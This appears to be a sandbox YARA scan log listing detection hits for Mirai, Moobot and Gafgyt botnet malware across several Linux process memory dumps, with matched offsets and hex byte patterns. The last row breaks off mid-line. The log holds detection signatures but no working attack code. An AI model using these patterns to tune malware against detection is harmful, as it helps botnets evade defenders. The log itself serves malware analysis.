6657.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6657.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6657.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6245.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6245.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6245.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6245.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6245.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6245.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7029.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6548.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6548.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6548.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6548.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6548.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6548.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6702.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7005.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7349.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6847.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6847.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6847.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6847.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6847.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6847.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6276.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6335.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6335.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6335.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6335.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6335.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6335.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6630.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6630.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6630.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6630.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6630.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 